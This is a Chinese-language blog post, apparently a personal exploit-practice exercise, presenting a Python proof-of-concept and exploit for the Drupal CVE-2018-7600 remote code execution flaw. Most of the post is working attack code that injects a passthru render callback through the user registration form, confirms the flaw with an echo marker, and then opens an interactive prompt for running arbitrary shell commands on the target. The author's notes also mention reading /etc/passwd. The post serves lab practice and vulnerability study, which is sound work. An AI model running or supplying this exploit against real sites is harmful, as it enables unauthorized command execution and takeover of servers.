CVE-2018-7600 Drupal 远程代码执行【POC+EXP练习计划1】

CVE-2018-7600 Drupal 远程代码执行POC+EXP

#有好几种漏洞来着,而且payload也不止一种,我只用了我文章里的第一种,构造起来比较方便 CVE-2018-7600 Drupal 远程代码执行漏洞分析复现

#今天又不能docker-compose了,要先sudo -i一下

#一开始脚本不成功的原因,是我的数据经过py传过去,会经过一次url编码, 要设置 Content-Type header头,data数据也要字符串格式

#有些命令执行不了,很奇怪,比如ifconfig就不行,cat /etc/passwd就可以。

#对于url,最后不能有两个 // 只能有一个 / 简单处理了下

#个人喜欢这样用中文提示下一步该干什么的 那种-u --data --cmd 真的让人很容易忘记 而且这样写方便以后整合

#里面的logo是生成的,在线网址:http://patorjk.com/software/taag/#p=display&h=0&f=Star%20Wars&t=H9_dawn

import requests
import re

headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36',
           'Content-Type': 'application/x-www-form-urlencoded'}

class Poc:
    def __init__(self,url):
        self.url = url
        self.cmd = 'echo H9_dawn'
        self.postUrl = url + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
        self.status = 0
        self.data = 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]='

    def scan(self):
        data = self.data + self.cmd
        response = requests.post(self.postUrl,data=data,headers=headers)
        if 'H9_dawn' in str(response.content) :
            print("[+++] 恭喜您,存在CVE-2018-7600漏洞")
            self.status = 1
        else :
            print("[---] 很遗憾,不存在CVE-2018-7600漏洞")

    def rce(self):
        data = self.data + self.cmd
        response = requests.post(self.postUrl, data=data, headers=headers)
        response = str(response.content)
        res = re.compile('(.*?)\[{"comman')
        output = res.findall(response)[0][2:][:-2]#因为我正则实在垃圾,处理不好换行符,只能这样了= =
        print(output)

if __name__ == '__main__':
    logo = '''
        __    __    ___           
       |  |  |  |  / _ \          ____                      
       |  |__|  | | (_) |        |  _ \  __ ___      ___ __   
       |   __   |  \__, |        | | | |/ _` \ \ /\ / / '_ \ 
       |  |  |  |    / /         | |_| | (_| |\ V  V /| | | | 
       |__|  |__|   /_/   ______ |____/ \__,_| \_/\_/ |_| |_|
       '''
    print(logo)
    #url请带上协议
    url = 'http://192.168.22.132:8080'
    if url[-1] == '/':
        url = url[:-1]
    poc = Poc(url)
    poc.scan()
    if poc.status == 1:
        while(1):
            cmd = input("请输入您要执行的命令:")
            poc.cmd = cmd
            poc.rce()

你可能感兴趣的:(Python3)